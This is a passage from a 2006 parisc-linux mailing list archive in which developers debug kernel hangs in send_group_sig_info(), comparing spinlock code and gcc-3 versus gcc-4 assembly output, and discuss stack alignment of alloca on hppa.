  RP(r2): send_group_sig_info+0x3c/0xb0

I so used this as starting point of investigation:
--- snip ---
/*
  * This is the entry point for "process-wide" signals.
  * They will go to an appropriate thread in the thread group.
  */
int
send_group_sig_info(int sig, struct siginfo *info, struct task_struct *p)
{
         int ret;
         read_lock(&tasklist_lock);
         ret = group_send_sig_info(sig, info, p);
         read_unlock(&tasklist_lock);
         return ret;
}
--- snip ---

./include/linux/spinlock.h:
--- snip ---
#define read_lock(lock)                      _read_lock(lock)

/*
  * We inline the unlock functions in the nondebug case:
  */
#if defined(CONFIG_DEBUG_SPINLOCK) || defined(CONFIG_PREEMPT) || !defined(CONFIG_SMP)
# define spin_unlock(lock)              _spin_unlock(lock)
# define read_unlock(lock)              _read_unlock(lock)
# define write_unlock(lock)             _write_unlock(lock)
#else
# define spin_unlock(lock)              __raw_spin_unlock(&(lock)->raw_lock)
# define read_unlock(lock)              __raw_read_unlock(&(lock)->raw_lock)
# define write_unlock(lock)             __raw_write_unlock(&(lock)->raw_lock)
#endif

--- snip ---

Q1: according to this comment why don't we 'inline' read_lock() as read_unlock?

Lets have a look to the pre-compiled (.i) file:
precompiled:
--- snip ---
int
send_group_sig_info(int sig, struct siginfo *info, struct task_struct *p)
{
  int ret;
  _read_lock(&tasklist_lock);
  ret = group_send_sig_info(sig, info, p);
  __raw_read_unlock(&(&tasklist_lock)->raw_lock);
  return ret;
}
--- snip ---
static __inline__ __attribute__((always_inline)) void __raw_read_unlock(raw_rwlock_t *rw)
{
  __raw_spin_lock_flags(&rw->lock, 0);

  rw->counter--;

  __raw_spin_unlock(&rw->lock);
}
--- snip ---
static inline __attribute__((always_inline)) void __raw_spin_lock_flags(raw_spinlock_t *x,
       unsigned long flags)
{
  volatile unsigned int *a;


  __asm__ __volatile__("":::"memory");
  a = ((volatile unsigned int *)x);

  while (({ unsigned __ret; __asm__ __volatile__("ldcw,co" " 0(%1),%0" : "=r" (__ret) : "r" (a)); __ret; }) == 0)
   __asm__("; flag_0");
   while (*a == 0)
    if (flags & 0x00000001) {
     __asm__ __volatile__("ssm %0,%%r0\n" : : "i" (0x00000001) : "memory" );
     __asm__ __volatile__("":::"memory");
     __asm__ __volatile__("rsm %0,%%r0\n" : : "i" (0x00000001) : "memory" );
    } else
     __asm__ __volatile__("; cpu_relax\n\tnop\n\tnop\n" : : );

  __asm__ __volatile__("":::"memory");
}
--- snip ---

to be sure am i on the right place and make some asm highlighting:
  # diff -Nau spinlock.h.Orig spinlock.h
--- spinlock.h.Orig     2006-07-20 07:54:26.000000000 +0200
+++ spinlock.h  2006-07-21 19:37:16.000000000 +0200
@@ -20,8 +20,10 @@
  {
         volatile unsigned int *a;

-       mb();
+/*     mb(); */
+       __asm__ __volatile__("; raw_spin_lock_flags_in":::"memory");
         a = __ldcw_align(x);
+
         while (__ldcw(a) == 0)
                 while (*a == 0)
                         if (flags & PSW_SM_I) {
@@ -30,16 +32,19 @@
                                 local_irq_disable();
                         } else
                                 cpu_relax();
-       mb();
+/*     mb(); */
+       __asm__ __volatile__("; raw_spin_lock_flags_out":::"memory");
  }

  static inline void __raw_spin_unlock(raw_spinlock_t *x)
  {
         volatile unsigned int *a;
-       mb();
+/*     mb(); */
+       __asm__ __volatile__("; raw_spin_unlock_in":::"memory");
         a = __ldcw_align(x);
         *a = 1;
-       mb();
+/*     mb(); */
+       __asm__ __volatile__("; raw_spin_unlock_out":::"memory");
  }

  static inline int __raw_spin_trylock(raw_spinlock_t *x)

--- processor.h.Orig    2006-07-20 07:54:46.000000000 +0200
+++ processor.h 2006-07-20 08:14:30.000000000 +0200
@@ -355,7 +355,11 @@
  }
  #endif

+/*
  #define cpu_relax()    barrier()
+ */
+#define cpu_relax()    __asm__ __volatile__("; cpu_relax\n\tnop\n\tnop\n" : : )
+

  #endif /* __ASSEMBLY__ */


which obvioulsy produced different s files:
  # diff -y SGSI_gcc33.s.ban_noFlag0 SGSI_gcc41.s.ban_noFlag1
         .section        .text.send_group_sig_info,"ax",@progb           .section        .text.send_group_sig_info,"ax",@progb
         .align 8                                                        .align 8
.globl send_group_sig_info                                      .globl send_group_sig_info
         .type   send_group_sig_info, @function                          .type   send_group_sig_info, @function
send_group_sig_info:                                            send_group_sig_info:
         .PROC                                                           .PROC
         .CALLINFO FRAME=144,CALLS,SAVE_RP,ENTRY_GR=6          |         .CALLINFO FRAME=160,CALLS,SAVE_RP,ENTRY_GR=7
         .ENTRY                                                          .ENTRY
                                                               >         addil LT'tasklist_lock,%r27
         std %r2,-16(%r30)                                               std %r2,-16(%r30)
         std,ma %r7,144(%r30)                                  |         std,ma %r8,160(%r30)
         std %r6,-136(%r30)                                    |         copy %r24,%r8
         std %r5,-128(%r30)                                    <
         std %r4,-120(%r30)                                    <
         copy %r27,%r4                                         <
         ldo -48(%r30),%r29                                              ldo -48(%r30),%r29
         copy %r25,%r6                                         |         std %r7,-152(%r30)
         extrd,s %r26,63,32,%r5                                |         copy %r25,%r7
         addil LT'tasklist_lock,%r27                           |         std %r6,-144(%r30)
         ldd RT'tasklist_lock(%r1),%r1                         |         extrd,s %r26,63,32,%r6
         copy %r1,%r26                                         |         std %r5,-136(%r30)
                                                               >         ldd RT'tasklist_lock(%r1),%r5
                                                               >         copy %r5,%r26
                                                               >         std %r4,-128(%r30)
         b,l _read_lock,%r2                                              b,l _read_lock,%r2
         copy %r24,%r7                                         |         copy %r27,%r4
         copy %r6,%r25                                         <
         copy %r7,%r24                                         <
         copy %r4,%r27                                                   copy %r4,%r27
                                                               >         copy %r6,%r26
                                                               >         copy %r27,%r4
                                                               >         copy %r7,%r25
         ldo -48(%r30),%r29                                              ldo -48(%r30),%r29
         b,l group_send_sig_info,%r2                                     b,l group_send_sig_info,%r2
         copy %r5,%r26                                         |         copy %r8,%r24
         addil LT'tasklist_lock,%r4                            |         copy %r4,%r27
         ldd RT'tasklist_lock(%r1),%r20                        |         copy %r28,%r19
#APP                                                            #APP
         ; raw_spin_lock_flags_in                                        ; raw_spin_lock_flags_in
         ldcw,co 0(%r20),%r19                                  <
#NO_APP                                                         #NO_APP
         cmpib,<>,n 0,%r19,.L895                               | .L944:
.L890:                                                        | #APP
         ldw 0(%r20),%r19                                      |         ldcw,co 0(%r5),%r28
         cmpib,<>,n 0,%r19,.L897                               | #NO_APP
.L889:                                                        |         cmpib,<>,n 0,%r28,.L946
                                                               > .L945:
                                                               >         ldw 0(%r5),%r28
                                                               >         cmpb,*<> %r0,%r28,.L944
                                                               >         nop
#APP                                                            #APP
         ; cpu_relax                                                     ; cpu_relax
         nop                                                             nop
         nop                                                             nop

#NO_APP                                                         #NO_APP
         ldw 0(%r20),%r19                                      |         b,n .L945
         cmpib,= 0,%r19,.L889                                  | .L946:
         nop                                                   <
.L897:                                                        <
#APP                                                          <
         ldcw,co 0(%r20),%r19                                  <
#NO_APP                                                       <
         cmpib,= 0,%r19,.L890                                  <
         nop                                                   <
.L895:                                                        <
#APP                                                            #APP
         ; raw_spin_lock_flags_out                                       ; raw_spin_lock_flags_out
#NO_APP                                                         #NO_APP
         ldw 4(%r20),%r19                                      |         addil LT'tasklist_lock,%r27
         ldo -1(%r19),%r19                                     |         ldd RT'tasklist_lock(%r1),%r31
         stw %r19,4(%r20)                                      |         ldw 4(%r31),%r28
                                                               >         ldo -1(%r28),%r28
                                                               >         stw %r28,4(%r31)
#APP                                                            #APP
         ; raw_spin_unlock_in                                            ; raw_spin_unlock_in
#NO_APP                                                         #NO_APP
         ldi 1,%r19                                            |         ldi 1,%r28
         stw %r19,0(%r20)                                      |         stw %r28,0(%r5)
#APP                                                            #APP
         ; raw_spin_unlock_out                                           ; raw_spin_unlock_out
#NO_APP                                                         #NO_APP
         ldd -120(%r30),%r4                                    |         copy %r19,%r28
         ldd -128(%r30),%r5                                    |         ldd -176(%r30),%r2
         ldd -160(%r30),%r2                                    |         ldd -152(%r30),%r7
         ldd -136(%r30),%r6                                    |         ldd -144(%r30),%r6
                                                               >         ldd -136(%r30),%r5
                                                               >         ldd -128(%r30),%r4
         bve (%r2)                                                       bve (%r2)
         ldd,mb -144(%r30),%r7                                 |         ldd,mb -160(%r30),%r8
         .EXIT                                                           .EXIT
         .PROCEND                                                        .PROCEND
         .size   send_group_sig_info, .-send_group_sig_info              .size   send_group_sig_info, .-send_group_sig_info

And here are a lot of questions:
	Q2: some diff in routine like 2 times ldcw with gcc-3 and only one with gcc-4 (may be ok?)

	Q3: a 64bit comparison (cmpb,*<> %r0,%r28,.L944) introduced with gcc-4?

	Q4: imho the most important: with 2 gcc where is the couple of ssm/rsm that jejb introduced in his patch:

<http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2005-October/036211.html>
--- linux-2.6/include/asm-parisc/spinlock.h	2005/09/14 14:42:11	1.16
+++ linux-2.6/include/asm-parisc/spinlock.h	2005/10/20 16:07:04	1.17
@@ -11,18 +11,25 @@
  	return *a == 0;
  }

-#define __raw_spin_lock_flags(lock, flags) __raw_spin_lock(lock)
+#define __raw_spin_lock(lock) __raw_spin_lock_flags(lock, 0)
  #define __raw_spin_unlock_wait(x) \
  		do { cpu_relax(); } while (__raw_spin_is_locked(x))

-static inline void __raw_spin_lock(raw_spinlock_t *x)
+static inline void __raw_spin_lock_flags(raw_spinlock_t *x,
+					 unsigned long flags)
  {
  	volatile unsigned int *a;

  	mb();
  	a = __ldcw_align(x);
  	while (__ldcw(a) == 0)
-		while (*a == 0);
+		while (*a == 0)
+			if (flags & PSW_SM_I) {
+				local_irq_enable();
+				cpu_relax();
+				local_irq_disable();
+			} else
+				cpu_relax();
  	mb();
  }

?

Mike, feel free to complete this summary if something looks like bad, not complete or not clear ;-)

Thanks for help,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mysterious hangs with parisc (a
	send_group_sig_info() analysis)
Date: Fri, 21 Jul 2006 15:21:54 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <200607211521.54713.mszick@morethan.org>
References: <20060624015935.GJ12481@quicksilver.road.mcmartin.ca>
	<20060706183409.GB5692@athena.road.mcmartin.ca>
	<44C1338C.7010607@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624134 20485 80.91.229.3 (22 Nov 2014 02:42:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2006 20:22:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 21 Jul 2006 22:22:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 725A07D6A0;
	Fri, 21 Jul 2006 14:22:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17393-04; Fri, 21 Jul 2006 14:22:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4B947D68F;
	Fri, 21 Jul 2006 14:22:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C8B87D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Jul 2006 14:21:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17393-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Jul 2006 14:21:57 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 2962A7D687
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Jul 2006 14:21:57 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k6LKLxWN063022
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Jul 2006 13:21:59 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [65.41.64.185] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id SOG0ySM2
	authenticated by SMTP; Fri, 21 Jul 2006 13:21:58 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <44C1338C.7010607@tiscali.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: C16kBex3fW4orOWveGVoAE5mdmllckUC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23831

On Fri July 21 2006 15:05, Joel Soete wrote:
> Hello all,
> 
- - - snip
> 
> Mike, feel free to complete this summary if something 
> looks like bad, not complete or not clear ;-) 
> 

Nothing to add.  That is a good summary Joel.

We know that routine fails, 
we know its different, 
we can't find the problem.

> Thanks for help,
> 	Joel
Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Looking at vfprintf.c and alloca.
Date: Wed, 19 Jul 2006 11:04:31 +0800
Lines: 19
Approved: news@gmane.org
Message-ID: <44BDA13F.6040706@tausq.org>
References: <200607190248.k6J2mlLd015855@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624135 20489 80.91.229.3 (22 Nov 2014 02:42:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jul 2006 03:04:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 19 Jul 2006 05:04:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 625787D741;
	Tue, 18 Jul 2006 21:04:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07137-05; Tue, 18 Jul 2006 21:04:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F4727D744;
	Tue, 18 Jul 2006 21:04:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3A3C7D740
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 21:04:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07137-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 21:04:24 -0600 (MDT)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 91A267D73E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 21:04:24 -0600 (MDT)
Original-Received: from rccomp.stlglobal.com ([192.168.100.200])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1G32M8-0001nm-2X; Wed, 19 Jul 2006 11:04:12 +0800
User-Agent: Thunderbird 1.5.0.4 (Windows/20060516)
In-Reply-To: <200607190248.k6J2mlLd015855@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DNTcIHRfa0Aovr6aejEz4Qo3Njh6dA7m
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23832

> What doesn't work?  ptr - old = 0x1c0 = 7 * 64.  The preferred
> stack boundary is 64 bytes.  6 * 64 = 384 bytes.  That's too
> small for the requested allocation.  &old[100] - old = 0x190 = 400.
> So, the results printed appear correct.

gcc is completely correct, I meant to agree with your other email, that
is glibc is totally bogus ;P

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Looking at vfprintf.c and alloca.
Date: Tue, 18 Jul 2006 23:22:30 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <200607190322.k6J3MU58016184@hiauly1.hia.nrc.ca>
References: <200607181151.53069.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624135 20492 80.91.229.3 (22 Nov 2014 02:42:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@morethan.org (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jul 2006 03:22:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 19 Jul 2006 05:22:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F7847D74B;
	Tue, 18 Jul 2006 21:22:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07344-10; Tue, 18 Jul 2006 21:22:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDA827D743;
	Tue, 18 Jul 2006 21:22:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 262F97D740
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 21:22:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07393-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 21:22:32 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 01FC37D73D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 21:22:31 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6J3MUSK016185;
	Tue, 18 Jul 2006 23:22:31 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6J3MU58016184;
	Tue, 18 Jul 2006 23:22:30 -0400 (EDT)
In-Reply-To: <200607181151.53069.mszick@morethan.org> from "Michael S. Zick"
	at Jul 18, 2006 11:51:52 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5MHVCQ15bHIyva3NNjQ01m8qJihyahAc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23833

> For the case of gcc-4.2, stack-grows down...

Is this for hppa?  The stack should never grow downward.

> ptr = 0xbfea1fc0
> old = 0xbfea2160
> &old[100] = 0xbfea22f0
> 
> In both the cases (up/down) &old[100] has an offset of
> 400 bytes (correct).

You have to take into account the preferred stack boundary
into account when determining the delta between alloca allocations.

The HP runtime specifies 64 bytes (i.e., cache aligned) for
the preferred stack boundary in the 32-bit runtime.  The stack
boundary is 8 bytes.  This is the minimum alignment that the
hardware needs except for the infamous ldcw instruction.  The
preferred stack boundary could have been 8 bytes.  However,
changing it now would be an ABI change...

HP probably recognized that 64-byte alignment didn't help performance
much, so they relaxed the 64-bit alignment to 16 bytes.  In the 64-bit
runtime, some types are 16-byte aligned.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mysterious hangs with parisc (a
	send_group_sig_info() analysis)
Date: Sat, 22 Jul 2006 13:23:57 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <119aab440607221023s30f966c0pbee4aa9357d9b7b5@mail.gmail.com>
References: <20060624015935.GJ12481@quicksilver.road.mcmartin.ca>
	<200606240241.k5O2fALQ001885@hiauly1.hia.nrc.ca>
	<20060705164734.GB30640@athena.road.mcmartin.ca>
	<44AD54F0.90508@tiscali.be>
	<20060706183409.GB5692@athena.road.mcmartin.ca>
	<44C1338C.7010607@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624135 20495 80.91.229.3 (22 Nov 2014 02:42:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:15 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave@hiauly1.hia.nrc.ca>
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2006 17:24:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 22 Jul 2006 19:24:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6992A7D6BC;
	Sat, 22 Jul 2006 11:24:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26531-09; Sat, 22 Jul 2006 11:24:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9B757D6CA;
	Sat, 22 Jul 2006 11:24:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2052A7D6B9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 11:24:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26531-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Jul 2006 11:23:59 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.172])
